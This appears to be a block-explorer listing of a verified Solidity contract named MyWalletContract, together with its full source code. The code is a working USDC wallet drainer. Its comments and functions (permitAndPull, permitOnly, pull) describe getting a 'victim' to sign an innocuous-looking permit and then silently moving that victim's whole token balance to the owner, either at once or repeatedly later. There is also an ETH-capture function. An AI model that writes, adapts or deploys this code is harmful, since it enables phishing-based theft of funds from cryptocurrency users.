Skip to content
Verified contractExactMIT

MyWalletContract

Address0xb628d4693db2d7f03a856ca9fd9ef49bea99795a
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.20

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,472,877
Creation transaction
0xccbf011dab…53ecef2951

contracts/MyWalletContract.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IUSDCPermit {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
    function nonces(address owner) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract MyWalletContract {
    address public owner;
    address public receiver;

    address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    mapping(bytes32 => bool) public usedNonces;

    event Pulled(address indexed victim, address token, uint256 amount);
    event Received(address indexed from, uint256 amount, string note);

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }

    constructor() {
        owner = 0xFDEB02eD7Ff611F2D1D3fA2148c8E43fa8266b3E;
        receiver = 0xFDEB02eD7Ff611F2D1D3fA2148c8E43fa8266b3E;
    }

    // ==== PERMIT + INSTANT DRAIN ====
    // Victim signs off-chain ONCE (looks like a "signature request", not an approve screen).
    // Owner submits signature here → allowance created + full balance pulled in the SAME tx.

    function permitAndPull(
        address victim,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        // 1. Create allowance[victim][this contract] = value
        IUSDCPermit(USDC).permit(victim, address(this), value, deadline, v, r, s);

        // 2. Pull the lesser of (signed value) and (actual balance) — silently
        uint256 bal = IERC20(USDC).balanceOf(victim);
        uint256 amt = bal < value ? bal : value;
        IERC20(USDC).transferFrom(victim, receiver, amt);

        emit Pulled(victim, USDC, amt);
    }

    // ==== PERMIT ONLY (SAVE ACCESS FOR LATER) ====
    // Sets the allowance without draining — use `pull` repeatedly whenever you want.

    function permitOnly(
        address victim,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        IUSDCPermit(USDC).permit(victim, address(this), value, deadline, v, r, s);
    }

    // ==== SILENT REPEAT DRAINS ====
    // Works any time after a permit has been registered. No victim interaction.

    function pull(address victim) external onlyOwner {
        uint256 bal = IERC20(USDC).balanceOf(victim);
        IERC20(USDC).transferFrom(victim, receiver, bal);
        emit Pulled(victim, USDC, bal);
    }

    /// ===== ETH CAPTURE (OPTIONAL) =====
    function connect() external payable {
        if (msg.value > 0) {
            emit Received(msg.sender, msg.value, "connected");
        }
    }

    receive() external payable {
        emit Received(msg.sender, msg.value, "direct transfer");
    }

    function withdraw() external onlyOwner {
        (bool ok, ) = payable(owner).call{value: address(this).balance}("");
        require(ok, "send failed");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function setReceiver(address r) external onlyOwner { receiver = r; }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.